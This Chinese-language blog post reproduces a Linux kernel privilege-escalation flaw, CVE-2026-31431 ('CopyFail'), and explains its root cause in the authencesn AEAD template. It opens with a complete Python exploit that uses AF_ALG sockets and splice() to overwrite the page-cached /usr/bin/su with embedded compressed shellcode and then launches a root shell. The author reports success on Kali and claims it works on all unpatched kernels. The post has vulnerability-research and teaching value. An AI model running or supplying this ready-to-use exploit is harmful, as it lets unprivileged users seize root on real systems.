CVE-2026-31431(CopyFail)漏洞复现与解析

复现

漏洞的exp如下(让AI重写了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python3

import os, socket, zlib

# 常量定义
AF_ALG = 38
SOCK_SEQPACKET = 5
SOL_ALG = 279
TARGET_FILE = "/usr/bin/su"

def bytes_from_hex(hex_str):
"""十六进制字符串转字节"""
return bytes.fromhex(hex_str)

def exploit_page_cache(target_fd, offset, data):
"""
利用漏洞向目标文件的页缓存写入4字节数据

Args:
target_fd: 目标文件描述符
offset: 写入偏移量
data: 4字节数据
"""

# 创建AF_ALG socket
sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

# 设置算法参数
sock.setsockopt(SOL_ALG, 1, bytes_from_hex("0800010000000010" + "00"*64)) # ALG_SET_KEY
sock.setsockopt(SOL_ALG, 5, None, 4) # ALG_SET_AEAD_AUTHSIZE

conn, _ = sock.accept()

try:
# 构造消息
message = b"A"*4 + data[:4]
splice_len = offset + 4

# 发送控制消息
ctrl_msgs = [
(SOL_ALG, 3, b'\x00'*4), # ALG_SET_OP
(SOL_ALG, 2, b'\x10' + b'\x00'*19), # ALG_SET_IV
(SOL_ALG, 4, b'\x08' + b'\x00'*3), # ALG_SET_AEAD_ASSOCLEN
]
conn.sendmsg([message], ctrl_msgs, socket.MSG_MORE)

# 通过splice触发漏洞
pipe_read, pipe_write = os.pipe()
os.splice(target_fd, pipe_write, splice_len, offset_src=0)
os.splice(pipe_read, conn.fileno(), splice_len)
os.close(pipe_read)
os.close(pipe_write)

# 触发解密操作
try:
conn.recv(8 + offset)
except (socket.error, BlockingIOError):
pass

finally:
conn.close()
sock.close()

def main():
"""主函数"""
if os.geteuid() == 0:
print("[!] 已经是root用户")
return

# 打开目标文件
target_fd = os.open(TARGET_FILE, os.O_RDONLY)

# 解压shellcode
compressed = bytes_from_hex(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c"
"301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10"
"f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
)
shellcode = zlib.decompress(compressed)

# 注入shellcode
i = 0
while i < len(shellcode):
exploit_page_cache(target_fd, i, shellcode[i:i+4])
i += 4

# 执行被修改的su程序
os.system("su")
os.close(target_fd)

if __name__ == "__main__":
main()

kali上试验成功。创建一个普通用户运行这个脚本即可成功提权。

exp

解析

相关概念
页缓存:页缓存是为了提升文件的读写速度而存在的机制。由于从硬盘中读取文件的速度相对较慢,因此内存会缓存一些常用文件,对于Linux而言,su(switch user)就是常用命令之一。
su:切换用户命令的su文件具有root权限。
认证算法:对称加密的情况下,为了防止中间人攻击篡改密文内容导致解密端解密失败出现的机制。
扩展序列号:IPSec作为网络层安全协议,通过对IP数据包进行加密来保障传输安全,但其仍面临重放攻击的风险:攻击者可能截获并延迟发送数据包,导致接收方状态混乱。为此,IPSec需通过认证算法确保消息的完整性。由于IP层采用对称加密,通信双方预先共享密钥,因此可利用序列号进行验证。传统模式采用32位序列号,但其消耗速度较快,易被耗尽。为此,IPSec引入64位扩展序列号(ESN),并将其分为高32位与低32位两部分:低32位显式存在于IPSec协议头中,高32位则隐式保存在安全关联(SA)数据内。采用64位ESN的主要优势在于大幅降低了序列号耗尽导致安全关联重置的风险,从而提升了连接的安全性与稳定性。

authencesn加密和解密算法:

在加密以前authencesn获取的数据为64bit(高32位+低32位)拓展序列号+明文,计算时先加密,高32位会被暂存到密文后面,由密钥+低32位+密文+高32位序列号算出大小为authsize的tag,再将高32位恢复原位,形成64位ESN+密文+tag即为加密完成;

解密时也会将高32位序列号暂存密文以后,挤走tag使其后移,然后用密钥重新计算认证标签,若标签一致则消息完整,解密密文部分

splice()零拷贝机制:在文件描述符已经存在页缓存内的情况下,为了减少冗余的复制行为,直接传递对内存页的引用(也就是地址啦)
AF_ALG套接字:为了让普通用户也能使用内核的加密算法,而开放的接口,需要用socket链接,其中包含了authencesn算法模板。

in-place模式:输入和输出共用一块内存,而无需再开辟一块新的内存。

漏洞的具体原理:
authencesn解密时,需要将高32位放到tag在的位置,也就是assoclen+cryptlen长度偏移的位置。如果攻击者指定了高32位(4字节)内容,同时将通过splice方法传递su文件的特定偏移位置的页引用作为密文+tag的部分,因为输入输出共用内存,就相当于直接往su页缓存的地址里写,从而实现篡改页缓存的su文件为恶意代码(循环就行)。由于每次su都是页缓存而非硬盘文件,因此用户执行的su实际上就是被改过的恶意代码,可以借此实现提权(例如,用su的权限,但代码内容是启动一个shell,由于su是root权限所以启动了rootshell,就相当于由root权限)

影响:

影响范围非常广泛,自 2017 年以来几乎所有主流 Linux 发行版都受影响。对于没有打上修复补丁(commit a664bf3d603d)的Linux,这个漏洞利用脚本的成功率是100%,因为这是逻辑缺陷。